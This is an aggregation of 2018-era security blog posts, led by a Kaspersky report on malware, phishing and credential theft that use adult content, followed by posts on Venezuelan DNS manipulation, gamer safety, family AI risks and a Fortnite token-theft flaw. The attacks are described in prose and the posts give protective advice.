Such measures might well be valid, at least from a cybersecurity perspective, as the following example suggests. According to news reports last year, an extremely active adult website user, who turned out to be a government employee, dramatically failed to keep his hobby outside of the workplace. By accessing more than 9,000 web pages with adult content, he compromised his device and subsequently infected the entire network with malware, leaving it vulnerable to spyware attacks. This, and other examples confirm that adult content remains a controversial topic from both a social and cybersecurity standpoint.

It is no secret that digital pornography has long been associated with malware and cyberthreats. While some of these stories are now shown to be myths, others are very legitimate. A year ago, we conducted research on the malware hidden in pornography and found out that such threats are both real and effective. One of the key takeaways of last year’s report was the fact that cybercriminals not only use adult content in multiple ways – from lucrative decoys to make victims install malicious applications on their devices, to topical fraud schemes used to steal victims’ banking credentials and other personal information – but they also make money by stealing access to pornographic websites and reselling it at a cheaper price than the cost of a direct subscription.

Last year, we discovered a number of malicious samples that were specifically hunting for credentials to access some of the most popular pornographic websites. When we considered why someone would hunt for credentials to pornographic websites, we checked the underground markets (both on the dark web and on open parts of the internet) and found that credentials to pornography website accounts are themselves quite a valuable commodity to be sold online. They are for sale in their thousands.

It would be going too far to say that the findings from our previous exploration of the relationships between cyberthreats and adult content were unexpected. At the end of the day, pornography has always been, and remains one of the most sought after types of online content. At the same time, cybercriminals have always looked to increase their profits with the most efficient and cheapest way of delivering malicious payloads to victims. It was almost inevitable that adult content would become an important tool for them.

That said, our monitoring of the wider cyberthreat landscape shows that threat actors tend to change their habits, tactics and techniques over time. This means that even in a niche area, such as pornographic content and websites, changes are possible. That is why this year we decided to repeat our exercise and investigate the topic once again. As it turned out, some things have indeed changed.

Methodology and key findings

To measure the level of risk that may be associated with adult content online, we investigated several different indicators. We examined malware disguised as pornographic content, and malware that hunts for credentials to access pornography websites. We looked at the threats that are attacking users across the internet in order to find out which popular websites might be dangerous to visit. Additionally, we checked our phishing and spam database to see if there is a lot of pornographic content on file and how is it used in the wild. Using aggregated threat-statistics obtained from the Kaspersky Security Network – the infrastructure dedicated to processing cybersecurity-related data streams from millions of voluntary participants around the world – we measured how often and how many users of our products have encountered adult-content themed threats.

Additionally, we checked around twenty underground online markets and counted how many accounts are up for sale, which are the most popular, and the price they are sold for.

As a result, we discovered the following:

  • Searching for pornography online has become safer: in 2018, there were 650,000 attacks launched from online resources. That is 36% less than in 2017 when more than a million of these attacks were detected.
  • Cybercriminals are actively using popular porn-tags to promote malware in search results. The 20 most popular make up 80% of all malware disguised as porn. Overall, 87,227 unique users downloaded porn-disguised malware in 2018, with 8% of them using a corporate rather than personal network to do this.
  • In 2018, the number of attacks using malware to hunt for credentials that grant access to pornography websites grew almost three-fold compared to 2017, with more than 850,000 attempts to install such malware. The number of users attacked doubled, with 110,000 attacked PCs across the world.
  • The number of unique sales offers of credentials for premium accounts to adult content websites almost doubled to more than 10,000.
  • Porn-themed threats increased in terms of the number of samples, but declined in terms of variety: In 2018, Kaspersky Lab identified at least 642 families of PC threats disguised under one common pornography tag. In terms of their malicious function, these families were distributed between 57 types (76 last year). In most cases they are are Trojan-Downloaders, Trojans and AdWare.
  • 89% of infected files disguised as pornography on Android devices turned out to be AdWare.
  • In Q4 2018, there were 10 times as many attacks coming from phishing websites pretending to be popular adult content resources, compared to Q4 2017 when the overall figure reached 21,902 attacks.

Part 1 – Malware

As mentioned above, cybercriminals put a lot of effort into delivering malware to user devices, and pornography serves as a great vehicle for this. Most malware that reaches users’ computers from malicious websites is usually disguised as videos. Users who do not check the file extension and go on to download and open it, are sent to a webpage that extorts money. This is achieved by playing the video online or for free only after the user agrees to install a malicious file disguised as a software update or something similar. However, in order to download anything from this kind of website, the user first has to find the website. That is why the most common first-stage infection scenarios for both PC and mobile porn-disguised malware involve the manipulation of search query results.

To do this, cybercriminals first identify which search requests are the most popular among users looking for pornography. They then implement so-called ‘black SEO’ techniques. This involves changing the malicious website content and description so it appears higher up on the search results pages. Such websites can be found in third or fourth place in the list of search results.

According to our findings, this method is still actively used but its efficiency is falling. To check this, we took 100 of the top listed pornographic websites (as suggested by search engines after entering a query for the word ‘porn’), plus those that have the word ‘porn’ in the title. We checked if any of them pose any threat to users. It turned out that in 2017 our products stopped more than a million users from attempting to install malware from websites on the list. However, in 2018, the number of users affected decreased to 658,930. This could be the result of search engines putting processes in place to fight against ‘black SEO’ activities and protecting users from malicious content.

Porn tags = Malware tags

Optimizing malicious websites so as to ensure that those wanting to view adult content will find them is not the only tool criminals explore in order to find the best ways of delivering infected files to victims’ devices. It turned out during our research that cybercriminals are disguising malware or not-a-virus files as video files and naming them using popular porn tags. A ‘porn tag’ is a special term that is used to easily identify content from a specific pornographic video genre. Tags are used by pornography websites to organize their video libraries and help users to quickly and conveniently find the video they are interested in. The not-a-virus type of threats is represented here by RiskTools, Downloaders and AdWare. Each type is not typically classified as malware, yet such applications may do something unwanted to users. AdWare, for instance, can show users unsolicited advertising, alter search results and collect user data to show targeted, contextual advertising.

To check how widespread this trend is, we took the most popular classifications and tags of adult videos from three major legal websites distributing adult content. The groupings were chosen by the overall number of videos uploaded in each category on the websites. As a result, we came up with a list of around 100 tags, which between them may well cover every possible type of pornography in existence. Subsequently, we ran those tags against our database of threats and through the Kaspersky Security Network databases and figured out which of them were used in malicious attacks and how often.

The overall number of users attacked with malware and not-a-virus threats disguised as porn-themed files dropped by about half compared to 2017. While back then their total number was 168,702, the situation in 2018 was a little more positive: down to 87,227, with 8% of them downloading porn-disguised malware from corporate networks. In this sense, scammers are merely following the overall trend: according to Pornhub’s statistics, the share of pornography viewed on desktops has dropped by 18%. However, we were not able to get full confirmation that the 2018 decrease in the number of users attacked with malicious pornography relates to changes in consumer habits.

Perhaps one of the most interesting takeaways we got from the analysis of how malware and not-a-virus are distributed among porn tags, is that although we were able to identify as many as 100 of them, most of the attacked users (around 80%, both in 2017 and 2018) encountered threats that mention only 20 of them. The tags used most often match the most popular tags on legitimate websites. Although we couldn’t find perfect correlations between the top watched types of adult video on legitimate websites and the most often encountered porn-themed threats, the match between malicious pornography and safe pornography means that malware and not-a-virus authors follow trends set by the pornography-viewing community.

Moving forward, the overall picture surrounding porn-disguised threat types showed more changes in 2018 when compared to 2017. In 2018, we saw 57 variations of threats disguised as famous porn tags, from 642 families. For comparison, the figures in 2017 were 76 and 581 respectively. That means that while the number of samples of porn-malware is growing, the number of types of malware and not-a-virus that are being distributed through pornography is decreasing.

The top three most popular classes of threats turned out to be Trojan-Downloader, with 45% of files, Trojan with 20% and AdWare, which is not a virus, with 9%, while in 2017 the top three were different: Trojan-Downloader was still there with 29%, exploits took the second place with 23% and Trojans accounted for around 19%.

Distribution of porn-themed threat types in 2017 Distribution of porn-themed threat types in 2018
Trojan-Downloader 29% Trojan-Downloader 45%
Exploit 23% Trojan 20%
Trojan 19% AdWare (not a virus) 9%
AdWare (not a virus) 11% Worm 8%
Worm 6% Virus 2%
Virus 2% Downloader (not a virus) 2%
RiskTool (not a virus) 2% Exploit 2%
Downloader (not a virus) 2% Trojan-Dropper 2%
Trojan-Dropper 1% UDS: DangerousObject 2%
Other 5% Other 8%

Top-10 types of threat that went under the disguise of porn-related categories, by the number of attacked users in 2017 and 2018. Source: Kaspersky Security Network

Top-10 verdicts which went under the disguise of porn-related categories, by the number of attacked users in 2017 and 2018. Source: Kaspersky Security Network (download)

The most noticeable change in the overall picture is the large number of exploits in 2017: back then they accounted for almost a quarter of all infected files, while in 2018 they were not represented in the top 10. There is an explanation for the popularity of such threats. In 2017, exploits were represented by massive detections of Exploit.Win32.CVE-2010-2568.gen, a generic detection (the detection that describes multiple similar malware pieces) for files that exploited the vulnerability in the Windows Shell named CVE-2010-2568. However, the same detection name applies for another vulnerability in LNK – CVE-2017-8464. This vulnerability, and the publicly available exploit for it, became public in 2017 and immediately raised a lot of interest amongst threat actors – thereby raising the bar in exploit detections. Within a year, the attacks on CVE-2017-8464 reduced significantly as most users patched their computers and malware writers went back to using classical malware aimed at more common file formats (such as JS, VBS, PE).

The rise in popularity of Trojan-Downloaders can be explained by the fact that such malicious programs are multipurpose: once installed on a victim’s device, the threat actor could additionally download virtually any payload they want: from DDoS-bots and malicious ads clickers to password stealers or banking Trojans. As a result, a criminal would need to infect the victim’s device only once and would then be able to use it in multiple malicious ways.

2018 has also seen some changes in the share of software that is not-a-virus. All in all, such programs accounted for 15% of all threats in 2017. In 2018, however, they were on the decline and now account for 11%, with downloaders losing their place in the top-10 most prolific threats. So, while the attackers are using porn less as a decoy, they have yet to inject the malicious files with more harmful threats, such as Trojans and worms.

Mobile malware

Following technical changes in how we detect and analyze mobile malware, we amended our methodology for this report. Instead of trying to identify the share of porn-themed content in the overall volume of malicious applications that our users encountered, we selected 100,000 random malicious installation packages disguised as porn videos for Android, in 2017 and 2018, and checked them against the database of popular porn tags.

The landscape for types and families of mobile threats is also different than for PC. In both 2017 and 2018, the most common type of threat was AdWare: 70% in 2017 and 89% in 2018.

Malware name % Malware name %
not-a-virus:HEUR:AdWare.AndroidOS.Agent.n 59.61% not-a-virus:HEUR:AdWare.AndroidOS.Agent.f 62.88%
not-a-virus:HEUR:AdWare.AndroidOS.Ewind.h 11.02% not-a-virus:HEUR:AdWare.AndroidOS.Agent.n 17.09%
HEUR:Trojan-Ransom.AndroidOS.Zebt.a 5.33% not-a-virus:HEUR:AdWare.AndroidOS.Ewind.h 9.62%
HEUR:Trojan.AndroidOS.Loapi.b 3.76% HEUR:Trojan-Ransom.AndroidOS.Zebt.a 3.27%
HEUR:Trojan-Ransom.AndroidOS.Small.snt 2.22% HEUR:Trojan.AndroidOS.Boogr.gsh 0.74%
HEUR:Trojan-Dropper.AndroidOS.Agent.hb 1.93% HEUR:Trojan-Ransom.AndroidOS.Small.snt 0.74%
not-a-virus:HEUR:AdWare.AndroidOS.Agent.f 1.90% UDS:DangerousObject.Multi.Generic 0.52%
HEUR:Trojan-Ransom.AndroidOS.Small.as 1.54% HEUR:Trojan-Ransom.AndroidOS.Small.as 0.41%
HEUR:Trojan-Ransom.AndroidOS.Small.cj 1.29% not-a-virus:HEUR:AdWare.AndroidOS.Ewind.cx 0.36%
not-a-virus:HEUR:AdWare.AndroidOS.Ewind.cx 1.07% HEUR:Trojan-Ransom.AndroidOS.Small.cj 0.36%

Top-10 verdicts that represent porn-related categories, by the number of attacked mobile users, in 2017 and 2018. Source: Kaspersky Security Network

These threats are typically distributed through affiliate programs focused on earning money as a result of users installing applications and clicking on an advertisement. As well as AdWare, pornography is also used to distribute ransomware (4% in 2018) but on a much smaller scale compared to 2017, when more than 10% of users faced such malicious programs. This decline is most likely a reflection of the overall downward trend for ransomware seen in the malware landscape.

Credential hunters

A specific type of malware related to pornography, which we have been tracking throughout the year, is implemented by so-called credential hunters. We track them with the help of our botnet-tracking technology, which monitors active botnets and receives intelligence on what kind of activities are they perform, to prevent emerging threats.

We particularly track botnets that are made of malware.Upon installation on a PC, this malware can monitor which web pages are opened, or create a fake one where the user enters their login and password credentials. Usually such programs are made for stealing money from online banking accounts, but last year we were surprized to discover that there are bots in these botnets that hunt for credentials to pornography websites.

Based on the data we were able to collect, in 2017 there were 27 variations of bots, belonging to three families of banking Trojans, attempting to steal credentials (Betabot, Neverquest and Panda). These Trojans were after credentials to accounts for 10 famous adult content websites (Brazzers, Chaturbate, Pornhub, Myfreecams, Youporn, Wilshing, Motherless, XNXX, X-videos). During 2017, these bots attempted to infect more than 50,000 users over 307,000 times.

In 2018, the number of attacked users doubled, reaching more than 110,000 PCs across the world. The number of attacks almost tripled, to 850,000 infection attempts. At the same time, the number of variations of malware we were able to spot fell from 27 to 22, but the number of families increased from three to five, meaning that pornography credentials are considered valuable to ever more cybercriminals.

Another important shift that happened in 2018, was that malware families do not hunt for credentials to multiple websites. Instead, they focus on just two: mostly Pornhub and XNXX, whose users were targeted by bots belonging to the Jimmy malware family.

Apparently Pornhub remains popular, not only to regular users of the web, but also to cybercriminals looking for another way of gaining illegal profits by selling user credentials.

Part 2 – Phishing and spam

Our previous research suggested that it is relatively rare to see pornography as a topic of interest in phishing scams. Instead, criminals prefer to exploit popular sites dedicated to finding sex partners. But in 2018, our anti-phishing technologies started blocking phishing pages that resemble popular pornography websites.

These are generally pages disguised as pornhub.com, youporn.com, xhamster.com, and xvideos.com. In Q4, 2017, the overall number of attempts to access phishing pages pretending to be one of the listed websites was 1,608. Within a year, in Q4 2018, the number of such attempts (21,902) was more than ten times higher.

The overall number of attempts to visit phishing webpages pretending to be one of the popular adult-content resources was 38,305. Leading the list of accessed phishing pages were those that were disguised as a Pornhub page. There were 37,144 attempts to visit the phishing version of the website, while there were only 1,161 attempts to visit youporn.com, xhamster.com, and xvideos.com in total. These figures are still relatively low, other phishing categories may see detection results of millions of attempts per year. However, the fact that the number of detections on pornography pages is growing may mean that criminals are only just beginning to explore the topic.

It is worth mentioning that phishing pages cannot influence the original page in any way; they merely copy it. The authentic Pornhub page is not connected to the phishing. Moreover, most search engines usually successfully block such phishing pages, so the most likely way to access them is through phishing or spam e-mails, or by being redirected there by malware or a malicious frame on another website.

Fake versions of popular pornography websites target users’ credentials and contact details, which can later be either sold or used in other fraud schemes or cyberattacks. In general, credentials capture is one of the most popular ways to target users, using pornography to implement phising fraud schemes. In such schemes, the victim is often lured to a phishing website disguised as a social network, where they are asked to authenticate their identity in order to watch an adult video which can only be accessed if the user confirms they are over 18-years-old.

As the victim enters their password, the threat actor captures the credentials to the user’s social network account.

Pornographic content phishing can also be used to install malicious software. For example, to access an alleged adult video, the phishing page requires the user to download and update a video player.

Needless to say, instead of downloading a video player, the user downloads malware.

Sometimes phishing fraudsters target e-wallet credentials with the help of pornographic content. The victim is lured to the pornographic website to watch a video broadcast. In order to view the content, the user is asked to enter their payment credentials.

Spam-scam

We have rarely seen pornographic content used in any special or specific way when it comes to spam. Apart from the mass distribution of ‘standard’ advertising offering adult content on legitimate and illegal websites, this type of threat hasn’t been spotted using pornography in a creative way. However, there is one exception. Beginning in 2017, an infamous sextortion scam started to happen. Users started to receive messages containing an extortion letter with a demand to transfer bitcoins to fraudsters.

The scammers claimed to have personal messages and recordings of the victim watching porn. The letters even claimed that the threat actor could combine the video that the supposed victim was watching with what was recorded through their webcam. This extortion is based purely on making threats.

2018, however, saw an increase in the volume of such e-mails. Moreover, they became more sophisticated and were not only threatening the user, but also ‘proving’ the legitimacy of the scammers claims by providing the user with actual information about them.

In most cases, it was either a password, or a phone number, or a combination of both with an e-mail address. Since people tend to use the same passwords for different websites, the victim was often likely to believe that paired passwords and e-mail addresses found by the criminal on the dark web were authentic, even if they were not actually correct for the adult-content account in question.

Furthermore, these e-mails have been sent out in more languages than previously found.

In reality, these mailings were based purely on the assumption that the target of such e-mails would hand over their credentials and that these would become profitable. The number of such scams grew in 2018.

Part 3 – Darknet insights

One of the burning topics of the adult-content industry is the controversy surrounding paid subscriptions to access websites. It is often the case that users can register for pornography accounts through a ‘premium’ subscription model (that includes no advertisements and unlimited access to the adult website content). Otherwise, the website they want to access does not allow them to watch any free content at all unless they pay. At most, the user may see video previews for free but still be expected to make a payment to watch the full video. The opinions around such practice vary. Some people claim that money paid for porn “directly fuels the industry that supports the abuse, exploitation, and trafficking around the world”. Others argue that pornography is like most other commodities and people are willing to exchange money for it just as they would other kinds of entertainment, such as tv-series or music. Some though prefer to highlight examples of when adult content can result in people being denied their human rights.

Whether it is worth it or not, some users agree that the price of premium accounts to popular pornography websites is rather high. For example, monthly memberships can vary from $20 to $30, and annual unlimited access costs might scale from $120 to $150. This is where cybercriminals enter the fray.

The research on porn-related cyberthreats we did previously proved that there is a very well developed supply and demand chain for stolen credentials on the dark web. We conducted research on this issue again in 2018, analyzing 20 of the top-rated Tor marketplaces listed on DeepDotWeb – an open Tor site that contains a dynamic ranking of dark markets evaluated by Tor administrators based on customers’ feedback. All of them contained one to more than 3,000 offers for credentials to adult content websites. In total, 29 websites displayed more than 15,000 offers to buy one or more accounts to pornography websites (with of course, no legal guarantees of delivering on their promise).

The results of the research conducted in the last year showed that four of the researched markets that offered the widest range of stolen credentials provided users with more than 5,239 unique offers. The figure for 2018 showed that their number doubled, accounting for more than 10,000 offers on sale.

The quantity of accounts available ranged from 1 to 30, with a few exceptions mostly from poorly rated sellers. However, the majority of offers promised to deliver credentials to only one account. Regardless of the type of account, the prices vary from $3 to $9 per offer, very rarely exceeding $10 – the same as back in 2017, with the vast majority of prices being limited to $6-$7 or the equal amount in bitcoins, which is 20 times cheaper than the most modest annual memberships. Getting access to an account illegally for a lower cost than a legal subscription is not the only appeal of buying such credentials on the dark web. There is the added appeal of anonymity, hiding behind other people’s credentials while watching pornography.

Conclusions and advice

Overall, the amount of downloadable malware disguised as pornography detected on users’ devices significantly decreased in 2018 in comparison with record activity in 2017. While at first glance this looks like good news, a worrying trend has appeared. The number of users being attacked with malware that hunts for their pornographic content credentials is on the rise and this means premium subscriptions are now a valuable asset for cybercriminals. There is also the fact that many modern pornography websites include social functionality, allowing people to share their own private content in different ways through the website. Some people make it freely available for all, some decide to limit who can see it. There has also been a significant rise in the number of cases where people suffer from sextortion. In other words, the sphere of adult-content may contain cybersecurity challenges other than the ‘classic’ infected pornography websites and video files armed with malware. These challenges should be addressed properly.

Another cybersecurity risk that adult content brings, which may be less obvious, is the misuse of corporate resources. As mentioned at the beginning of this report, the unsafe consumption of pornography from the workplace may result in the corporate network being hit by a massive infection. While most malicious attacks using pornography are aimed at consumers not corporations, the fact that most consumers have job to go to every day, brings a certain risk to IT administrators responsible for securing corporate networks.

In order to consume and produce adult content safely, Kaspersky Lab advises the following:

For consumers:

  • Before clicking any link, check the link address shown, even in the search results of trusted search engines. If the address was received in an e-mail, check if it is the same as the actual hyperlink.
  • Do not click on questionable websites when they are offered in search results and do not install anything that comes from them.
  • If you wish to buy a paid subscription to an adult content website – purchase it only on the official website. Double check the URL of the website and make sure it is authentic.
  • Check any email attachments with a security solution before opening them –especially from dark web entities (even if they are expected to come from an anonymous source).
  • Patch the software on your PC as soon as security updates for the latest bugs are available.
  • Do not download pirated software and other illegal content. Even if you were redirected to the webpage from a legitimate website.
  • Use a reliable security solution with behavior-based anti-phishing technologies – such as Kaspersky Total Security, to detect and block spam and phishing attacks.
  • Use a robust security solution to protect you from malicious software and its actions – such as the Kaspersky Internet Security for Android.

For businesses:

  • Educate employees in basic security hygiene, and explain the policies on accessing web sites potentially containing illegal or restricted content, as well as not opening emails or clicking on links from unknown sources.
  • Businesses can also block access to web sites that contravene corporate policy, such as porn sites, by using a dedicated endpoint solution such as Kaspersky Endpoint Security for Business. In addition to anti-spam and anti-phishing, it must include application and web controls, and web threat protection that can detect and block access to malicious or phishing web addresses.

DNS Manipulation in Venezuela in regards to the Humanitarian Aid Campaign

Venezuela is a country facing an uncertain moment in its history. Reports suggests it is in significant need of humanitarian aid.

On February 10th, Mr. Juan Guaidó made a public call asking for volunteers to join a new movement called “Voluntarios por Venezuela” (Volunteers for Venezuela). According to the media, it already numbers thousands of volunteers, willing to help international organizations to deliver humanitarian aid to the country. How does it work? Volunteers sign up and then receive instructions about how to help. The original website asks volunteers to provide their full name, personal ID, cell phone number, and whether they have a medical degree, a car, or a smartphone, and also the location of where they live:

This website appeared online on February 6th. Only a few days later, on February 11th, the day after the public announcement of the initiative, another almost identical website appeared with a very similar domain name and structure.

In fact, the false website is a mirror image of the original website, voluntariosxvenezuela.com

Both the original and the false website use SSL from Let’s Encrypt. The differences are as follows:

Original voluntariosxvenezuela.com website Deception website
First day on the Internet, Feb 6th First day on the Internet, Feb 11th
Whois information:

Registered on the name of Sigerist Rodriguez on Feb 4, 2019

Whois information:

Registered via GoDaddy using Privacy Protection feature on Feb 11, 2019

Hosted on Amazon Web Services Hosted first on GoDaddy and then on DigitalOcean

Now, the scariest part is that these two different domains with different owners are resolved within Venezuela to the same IP address, which belongs to the fake domain owner:

That means it does not matter if a volunteer opens a legitimate domain name or a fake one, in the end will introduce their personal information into a fake website.

Both domains if resolved outside Venezuela present different results:

Kaspersky Lab blocks the fake domain as phishing.

In this scenario, where the DNS servers are manipulated, it’s strongly recommended to use public DNS servers such as Google DNS servers (8.8.8.8 and 8.8.4.4) or CloudFlare and APNIC DNS servers (1.1.1.1 and 1.0.0.1). It’s also recommended to use VPN connections without a 3rd party DNS.

How Online Gamers Can Play It Safe

Online gaming has grown exponentially in recent years, and scammers have taken note. With the industry raking in over $100 billion dollars in 2017 alone[1], the opportunity to funnel some money off through fraud or theft has proven irresistible to the bad guys, leaving gamers at greater risk.

From malware and phishing scams, to phony game hacks, identity theft, and more, gamers of all stripes now face a minefield of obstacles online and in real life. So, if you’re going to play games, it’s best to play it safe.

Here’s what to look out for:

Dodgy Downloads

Gamers who play on their computer or mobile device need to watch out for dangerous links or malicious apps disguised as popular or “free” games. Hackers often use innocent-looking downloads to deliver viruses and spyware, or even sign you up for paid services, without your consent. In one prominent case, more than 2.6 million Android users downloaded fake Minecraft apps that allowed hackers to take control of their devices.

Researchers have even discovered a ransomware threat that targets gamers. TeslaCrypt was designed to encrypt game-play data until a ransom is paid. Originally distributed through a malicious website, it has since been circulating via spam.

And while it’s true that game consoles like PlayStation and Xbox aren’t as vulnerable to viruses, since they are closed systems, that doesn’t mean that their users don’t face other risks.

Social Scams

Players on any platform could wind up with malware, sent directly from other players via chat messages. Some scammers use social engineering tricks, like inviting other players to download “helpful” tools that turn out to be malware instead. When you consider that 62% of kids play games where they speak to others, the odds of a risky interaction with a stranger seems quite real.

Players of the Origin and Steam services, for instance, were targeted by hackers posing as other players, inviting them to play on their teams. Over chat message, they suggested the players download an “audio tool” that turned out to be a keystroke logger, aimed at stealing their access credentials for the game.

Other social scams include malicious YouTube videos or websites, offering game bonuses and currency, for free.

Another widespread social threat is account takeover, or ATO for short. This is when a scammer hacks a real account in order to post spammy links, and scam messages that appear to come from a trusted contact. Some accounts, for games like League of Legends, have even been stolen and sold online for money because they boasted a high level, or rare skins.

Phishing

Finally, be on the lookout for phishing websites, offering free games or bonuses, or phishy emails prompting you to login to your account, with a link leading to a copycat gaming site. Often, these are designed to steal your login credentials or distribute fake games that contain malware.

Players of the wildly popular Fortnite, for example, have been particularly targeted. The latest phishing scam is aimed at stealing the third-party sign-in tokens that allow cybercriminals to access a user’s account, and the payment details associated with it.

So now that you know about a little more about gaming threats, here’s how to win at playing it safe:

  1. Do Your Research—Before downloading any games from the Internet or app stores, make sure to read other users’ reviews first to see that they are safe. This also goes for sites that sell game hacks, credits, patches, or virtual assets typically used to gain rank within a game. Avoid illegal file-sharing sites and “free” downloads, since these are often peppered with malware. It’s always best to go for a safer, paid option from a reputable source.
  2. Play Undercover— Be very careful about sharing personal information, in both your profile information, and your chat messages. Private information, such as your full name, address, pet’s name, school, or work details, could be used to guess your account password clues, or even impersonate you. Consider playing under an alias.
  3. Be Suspicious—Since scammers use the social aspect of games to fool people, you need to keep your guard up when you receive messages from strangers, or even read reviews.
    Some YouTube and social media reviews are placed there to trick users into thinking that the game or asset is legitimate. Dig deep, and avoid looking for free hacks. Ask gamers you know in real life for recommendations that worked for them.
  4. Protect Yourself—Avoid using older versions of games, and make sure that games you do play are updated with patches and fixes. And if you think a gaming account may already have been compromised, change your passwords immediately to something unique and complex.Safeguard your computers and devices from known and emerging threats by investing in comprehensive security software, and keep yourself up-to-date on the latest scams.

Looking for more mobile security tips and trends? Be sure to follow @McAfee Home on Twitter, and like us on Facebook.

[1]According to The 2017 Year In Review Report by SuperData

The post How Online Gamers Can Play It Safe appeared first on McAfee Blogs.

AI & Your Family: The Wows and Potential Risks

artificial intelligenceAm I the only one? When I hear or see the word Artificial Intelligence (AI), my mind instantly defaults to images from sci-fi movies I’ve seen like I, Robot, Matrix, and Ex Machina. There’s always been a futuristic element — and self-imposed distance — between AI and myself.

But AI is anything but futuristic or distant. AI is here, and it’s now. And, we’re using it in ways we may not even realize.

AI has been woven throughout our lives for years in various expressions of technology. AI is in our homes, workplaces, and our hands every day via our smartphones.

Just a few everyday examples of AI:

  • Cell phones with built-in smart assistants
  • Toys that listen and respond to children
  • Social networks that determine what content you see
  • Social networking apps with fun filters
  • GPS apps that help you get where you need to go
  • Movie apps that predict what show you’d enjoy next
  • Music apps that curate playlists that echo your taste
  • Video games that deploy bots to play against you
  • Advertisers who follow you online with targeted ads
  • Refrigerators that alert you when food is about to expire
  • Home assistants that carry out voice commands
  • Flights you take that operate via an AI autopilot

The Technology

While AI sounds a little intimidating, it’s not when you break it down. AI is technology that can be programmed to accomplish a specific set of goals without assistance. In short, it’s a computer’s ability to be predictive — to process data, evaluate it, and take action.

AI is being implemented in education, business, manufacturing, retail, transportation, and just about any other sector of industry and culture you can imagine. It’s the smarter, faster, more profitable way to accomplish manual tasks.

An there’s tons of AI-generated good going on. Instagram — the #2 most popular social network — is now using AI technology to detect and combat cyberbullying on in both comments and photos.

No doubt, AI is having a significant impact on everyday life and is positioned to transform the future.

Still, there are concerns. The self-driving cars. The robots that malfunction. The potential jobs lost to AI robots.

So, as quickly as this popular new technology is being applied, now is a great time to talk with your family about both the exciting potential of AI and the risks that may come with it.

Talking points for families

Fake videos, images. AI is making it easier for people to face swap within images and videos. A desktop application called FakeApp allows users to seamlessly swap faces and share fake videos and images. This has led to the rise in “deep fake” videos that appear remarkably realistic (many of which go viral). Tip: Talk to your family about the power of AI technology and the responsibility and critical thinking they must exercise as they consume and share online content.

Privacy breaches. Following the Cambridge Analytica/Facebook scandal of 2018 that allegedly used AI technology unethically to collect Facebook user data, we’re reminded of those out to gather our private (and public) information for financial or political gain. Tip: Discuss locking down privacy settings on social networks and encourage your kids to be hyper mindful about the information they share in the public feed. That information includes liking and commenting on other content — all of which AI technology can piece together into a broader digital picture for misuse.

Cybercrime. As outlined in McAfee’s 2019 Threats Prediction Report, AI technology will likely allow hackers more ease to bypass security measures on networks undetected. This can lead to data breaches, malware attacks, ransomware, and other criminal activity. Additionally, AI-generated phishing emails are scamming people into handing over sensitive data. Tip: Bogus emails can be highly personalized and trick intelligent users into clicking malicious links. Discuss the sophistication of the AI-related scams and warn your family to think about every click — even those from friends.

IoT security. With homes becoming “smarter” and equipped with AI-powered IoT products, the opportunity for hackers to get into these devices to steal sensitive data is growing. According to McAfee’s Threat Prediction Report, voice-activated assistants are especially vulnerable as a point-of-entry for hackers. Also at risk, say security experts, are routers, smartphones, and tablets. Tip: Be sure to keep all devices updated. Secure all of your connected devices and your home internet at its source — the network. Avoid routers that come with your ISP (Internet Security Provider) since they are often less secure. And, be sure to change the default password and secure your primary network and guest network with strong passwords.

The post AI & Your Family: The Wows and Potential Risks appeared first on McAfee Blogs.

Frequent Fortnite Player? 4 Tips to Combat the New Attack on User Accounts

Epic Games’ Fortnite has risen in popularity rapidly since its debut, and cybercriminals have leveraged that popularity to enact a handful of malicious schemes. Unfortunately, these tricks are showing no signs of slowing, as researchers recently discovered a security flaw that allowed cybercriminals to take over a gamer’s Fortnite account through a malicious link. This attack specifically targeted users who used a third-party website to log in to their Fortnite accounts, such as Facebook, Google, or gaming providers like Microsoft, Nintendo, and Sony. But instead of trying to steal a gamer’s password like many of the hacks we’ve seen, this scheme targeted the special access token the third-party website exchanges with the game when a user logs in.

So, how exactly does this threat work? First, a cybercriminal sends a malicious phishing link to a Fortnite user. To increase the likelihood that a user will click on the link, the cybercriminal would send the link with an enticing message promising perks like free game credits. If the user clicked on the link, they would be redirected to the vulnerable login page. From here, Epic Games would make the request for the SSO (single sign-on) token from the third-party site, given SSO allows a user to leverage one set of login credentials across multiple accounts. This authentication token is usually sent to Fortnite over the back-end, removing the need for the user to remember a password to access the game. However, due to the unsecured login page, the user would be redirected to the attacker’s URL. This allows cybercriminals to intercept the user’s login token and take over their Fortnite account.

After acquiring a login token, a cybercriminal would gain access to a Fortnite user’s personal and financial details. Because Fortnite accounts have partial payment card numbers tied to them, a cybercriminal would be able to make in-game purchases and rack up a slew of charges on the victim’s card.

It’s important for players to understand the realities of gaming security in order to be more prepared for potential cyberthreats such as the Fortnite hack. According to McAfee research, the average gamer has experienced almost five cyberattacks, with 75% of PC gamers worried about the security of gaming. And while Epic Games has thankfully fixed this security flaw, there are a number of techniques players can use to help safeguard their gaming security now and in the future:

  • Go straight to the source70% of breaches start with a phishing email. And phishing scams can be stopped by simply avoiding the email and going straight to the source to be sure you’re working with the real deal. In the case of this particular scheme, you should be able to check your account status on the Fortnite website and determine the legitimacy of the request from there.
  • Use a strong, unique password. If you think your Fortnite account was hacked, err on the side of caution by updating your login credentials. In addition, don’t reuse passwords over multiple accounts. Reusing passwords could allow a cybercriminal to access multiple of your accounts by just hacking into one of them.
  • Stay on top of your financial transactions. Check your bank statements regularly to monitor the activity of the card linked to your Fortnite account. If you see repeat or multiple transactions from your account, or see charges that you don’t recognize, alert your bank to ensure that your funds are protected.
  • Get protection specifically designed for gamers. We’re currently building McAfee Gamer Security to help boost your PC’s performance, while simultaneously safeguarding you from a variety of threats that can disrupt your gaming experience.

And, as always, stay on top of the latest consumer and mobile security threats by following @McAfee_Home on Twitter, listen to our podcast Hackable?, and ‘Like’ us on Facebook.

The post Frequent Fortnite Player? 4 Tips to Combat the New Attack on User Accounts appeared first on McAfee Blogs.

Cyber Security Roundup for December 2018

The final Cyber Security Roundup of 2018 concludes reports of major data breaches, serious software vulnerabilities and evolving cyber threats, so pretty much like the previous 11 months of the year.

5.3 millions users of "make your own avatar" app Boomoji had their accounts compromised, after the company reportedly didn't secure their internet connected databases properly. "Question and Answer" website Quora also announced the compromise of 100 million of its user accounts following a hack.


A large data breach reported in Brazil is of interest, a massive 120 million Brazilian citizens personal records were compromised due to a poorly secured Amazon S3 bucket. This is not the first mass data breach caused by an insecure S3 bucket we've seen in 2018, the lesson to be learnt in the UK, is to never assume or take cloud security for granted, its essential practice to test and audit cloud services regularly.

